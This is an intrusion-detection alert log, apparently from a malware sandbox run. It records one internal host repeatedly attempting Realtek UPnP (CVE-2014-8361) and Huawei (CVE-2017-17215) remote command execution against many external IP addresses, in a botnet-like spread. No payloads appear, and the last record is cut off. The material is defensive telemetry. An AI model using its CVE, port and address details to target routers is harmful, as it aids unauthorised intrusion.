ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.242.0.237

Timestamp:	07/20/24-23:01:43.903732
SID:	2027339
Source Port:	34390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.210.158

Timestamp:	07/20/24-23:01:02.054387
SID:	2835222
Source Port:	44574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.41.166

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	46260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.78.178.94

Timestamp:	07/20/24-23:01:45.648154
SID:	2027339
Source Port:	54326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.105.77.79

Timestamp:	07/20/24-23:02:04.022245
SID:	2025132
Source Port:	48240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.180.73.227

Timestamp:	07/20/24-23:01:31.975330
SID:	2829579
Source Port:	41040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.25.105.249

Timestamp:	07/20/24-23:02:00.709103
SID:	2831300
Source Port:	44902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.135.105

Timestamp:	07/20/24-23:01:40.322860
SID:	2829579
Source Port:	37002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.162.26.155

Timestamp:	07/20/24-23:01:14.060998
SID:	2829579
Source Port:	53858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.24.153.194

Timestamp:	07/20/24-23:01:04.142086
SID:	2025132
Source Port:	57262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.59.235.147

Timestamp:	07/20/24-23:01:14.105908
SID:	2829579
Source Port:	50158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.60.172.121

Timestamp:	07/20/24-23:01:14.111381
SID:	2835222
Source Port:	59232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 126.201.61.171

Timestamp:	07/20/24-23:01:27.654173
SID:	2829579
Source Port:	42294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.201.27.61

Timestamp:	07/20/24-23:01:47.693711
SID:	2831300
Source Port:	50610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.222.87.125

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	45278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 81.50.220.234

Timestamp:	07/20/24-23:01:53.122466
SID:	2025132
Source Port:	53464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 83.234.152.115

Timestamp:	07/20/24-23:02:04.133788
SID:	2025132
Source Port:	58818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.130.195.64

Timestamp:	07/20/24-23:01:34.044538
SID:	2835222
Source Port:	39770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.42.36.143

Timestamp:	07/20/24-23:01:46.159165
SID:	2831300
Source Port:	43160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.120.22.241

Timestamp:	07/20/24-23:01:46.220244
SID:	2025132
Source Port:	37292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.180.88.194

Timestamp:	07/20/24-23:01:57.943877
SID:	2027339
Source Port:	50128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.207.71.238

Timestamp:	07/20/24-23:01:44.484644
SID:	2025132
Source Port:	51464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.109.143.129

Timestamp:	07/20/24-23:01:42.165780
SID:	2027339
Source Port:	44556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.71.10

Timestamp:	07/20/24-23:01:06.975117
SID:	2835222
Source Port:	51316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.93.68.27

Timestamp:	07/20/24-23:01:11.822392
SID:	2835222
Source Port:	42414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 72.136.42.217

Timestamp:	07/20/24-23:01:53.420758
SID:	2831300
Source Port:	59858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.145.211.206

Timestamp:	07/20/24-23:01:46.439689
SID:	2027339
Source Port:	48834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.179.239.59

Timestamp:	07/20/24-23:01:06.994337
SID:	2835222
Source Port:	36820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.75.193.125

Timestamp:	07/20/24-23:01:08.667512
SID:	2831300
Source Port:	58964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.99.82.194

Timestamp:	07/20/24-23:01:01.521998
SID:	2025132
Source Port:	41562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.58.59.239

Timestamp:	07/20/24-23:01:55.802130
SID:	2027339
Source Port:	49964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.201.20.41

Timestamp:	07/20/24-23:01:08.582150
SID:	2831300
Source Port:	37226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 123.227.180.114

Timestamp:	07/20/24-23:01:27.650975
SID:	2835222
Source Port:	41132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 141.121.89.226

Timestamp:	07/20/24-23:01:14.090830
SID:	2829579
Source Port:	55006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.58.9.63

Timestamp:	07/20/24-23:01:20.149798
SID:	2835222
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.212.66.23

Timestamp:	07/20/24-23:01:41.315380
SID:	2025132
Source Port:	47042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.32.81.72

Timestamp:	07/20/24-23:02:12.085791
SID:	2831300
Source Port:	37886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.3.130.23

Timestamp:	07/20/24-23:01:14.117066
SID:	2829579
Source Port:	46970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.32.17.115

Timestamp:	07/20/24-23:00:57.221338
SID:	2835222
Source Port:	47982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.248.52.121

Timestamp:	07/20/24-23:01:42.010169
SID:	2831300
Source Port:	42946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.165.149.247

Timestamp:	07/20/24-23:01:58.001186
SID:	2027339
Source Port:	43662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.57.98.237

Timestamp:	07/20/24-23:01:41.298259
SID:	2027339
Source Port:	59392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.189.194.244

Timestamp:	07/20/24-23:00:59.213564
SID:	2829579
Source Port:	60464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.90.100.113

Timestamp:	07/20/24-23:01:51.290015
SID:	2025132
Source Port:	45152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.208.23.95

Timestamp:	07/20/24-23:01:44.392836
SID:	2025132
Source Port:	56896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.47.68.177

Timestamp:	07/20/24-23:01:43.096223
SID:	2027339
Source Port:	56734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.23.204.131

Timestamp:	07/20/24-23:01:51.956762
SID:	2831300
Source Port:	42524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.179.196.52

Timestamp:	07/20/24-23:01:02.055683
SID:	2829579
Source Port:	40528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 104.171.59.59

Timestamp:	07/20/24-23:01:20.110861
SID:	2829579
Source Port:	43186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.169.126.92

Timestamp:	07/20/24-23:01:41.389908
SID:	2027339
Source Port:	48504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.193.3.141

Timestamp:	07/20/24-23:01:31.317668
SID:	2831300
Source Port:	56692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.218.167.53

Timestamp:	07/20/24-23:01:43.141970
SID:	2025132
Source Port:	45448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:50.332163
SID:	2025132
Source Port:	49330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.137.194.88

Timestamp:	07/20/24-23:01:13.345185
SID:	2025132
Source Port:	43504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.246.209.117

Timestamp:	07/20/24-23:01:20.597058
SID:	2831300
Source Port:	40540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.16.187.60

Timestamp:	07/20/24-23:01:01.505774
SID:	2027339
Source Port:	35458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.229.228.64

Timestamp:	07/20/24-23:01:59.030101
SID:	2027339
Source Port:	50420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.89.247.140

Timestamp:	07/20/24-23:01:10.513310
SID:	2025132
Source Port:	46946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.182.197.150

Timestamp:	07/20/24-23:01:44.839991
SID:	2027339
Source Port:	38688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.86.156.82

Timestamp:	07/20/24-23:01:45.188773
SID:	2831300
Source Port:	48818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.148.206.73

Timestamp:	07/20/24-23:01:40.311124
SID:	2835222
Source Port:	37448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.210.235.204

Timestamp:	07/20/24-23:01:41.482016
SID:	2027339
Source Port:	60160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.173.38.241

Timestamp:	07/20/24-23:01:08.613164
SID:	2831300
Source Port:	57934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 159.73.26.136

Timestamp:	07/20/24-23:01:21.943544
SID:	2829579
Source Port:	38244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.3.151.48

Timestamp:	07/20/24-23:02:09.321968
SID:	2831300
Source Port:	55380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 132.70.95.60

Timestamp:	07/20/24-23:00:57.221910
SID:	2835222
Source Port:	51880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.170.40.38

Timestamp:	07/20/24-23:01:52.380418
SID:	2831300
Source Port:	35076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.92.179.211

Timestamp:	07/20/24-23:01:08.655109
SID:	2027339
Source Port:	34348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.137.71.180

Timestamp:	07/20/24-23:01:42.399678
SID:	2025132
Source Port:	44296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.217.248.188

Timestamp:	07/20/24-23:01:49.555689
SID:	2027339
Source Port:	52848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.104.180.12

Timestamp:	07/20/24-23:01:47.921416
SID:	2025132
Source Port:	55612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.172.125.251

Timestamp:	07/20/24-23:01:44.510114
SID:	2027339
Source Port:	46904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.135.7.1

Timestamp:	07/20/24-23:01:42.313122
SID:	2027339
Source Port:	35230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.244.170.26

Timestamp:	07/20/24-23:01:56.327422
SID:	2025132
Source Port:	57670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.87.239.136

Timestamp:	07/20/24-23:01:41.217142
SID:	2027339
Source Port:	32860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 102.251.132.142

Timestamp:	07/20/24-23:02:21.004725
SID:	2831300
Source Port:	58336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.143.86.166

Timestamp:	07/20/24-23:01:52.940746
SID:	2027339
Source Port:	36876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:45.544315
SID:	2027339
Source Port:	34768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.239.1.240

Timestamp:	07/20/24-23:01:31.318206
SID:	2027339
Source Port:	33518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.14.171

Timestamp:	07/20/24-23:00:59.153608
SID:	2835222
Source Port:	49226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.113.97.179

Timestamp:	07/20/24-23:01:43.096223
SID:	2831300
Source Port:	60328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.82.126.36

Timestamp:	07/20/24-23:01:43.957856
SID:	2027339
Source Port:	49062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.162.52.201

Timestamp:	07/20/24-23:01:52.482723
SID:	2025132
Source Port:	58162
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.138.76.190

Timestamp:	07/20/24-23:01:40.320408
SID:	2835222
Source Port:	51774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.58.91.210

Timestamp:	07/20/24-23:01:40.311124
SID:	2835222
Source Port:	46666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.181.232.193

Timestamp:	07/20/24-23:01:42.280418
SID:	2027339
Source Port:	49070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.37.23.19

Timestamp:	07/20/24-23:01:49.207937
SID:	2025132
Source Port:	58860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.157.175.20

Timestamp:	07/20/24-23:01:48.016319
SID:	2027339
Source Port:	41614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.162.41.254

Timestamp:	07/20/24-23:01:31.975513
SID:	2835222
Source Port:	32976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.112.9.246

Timestamp:	07/20/24-23:01:01.793488
SID:	2025132
Source Port:	57682
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.16.13.92

Timestamp:	07/20/24-23:01:08.677485
SID:	2831300
Source Port:	54274
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.169.73.117

Timestamp:	07/20/24-23:01:50.418920
SID:	2025132
Source Port:	47852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 83.201.55.21

Timestamp:	07/20/24-23:01:20.132103
SID:	2835222
Source Port:	40700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.75.39.95

Timestamp:	07/20/24-23:01:31.983105
SID:	2835222
Source Port:	58644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.167.170.254

Timestamp:	07/20/24-23:01:08.572790
SID:	2831300
Source Port:	39552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.75.101.81

Timestamp:	07/20/24-23:02:04.133788
SID:	2027339
Source Port:	57830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.38.58.237

Timestamp:	07/20/24-23:01:04.064240
SID:	2829579
Source Port:	56680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 91.160.10.25

Timestamp:	07/20/24-23:01:42.908066
SID:	2025132
Source Port:	55258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.202.134.116

Timestamp:	07/20/24-23:01:46.150064
SID:	2027339
Source Port:	34880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.173.75.154

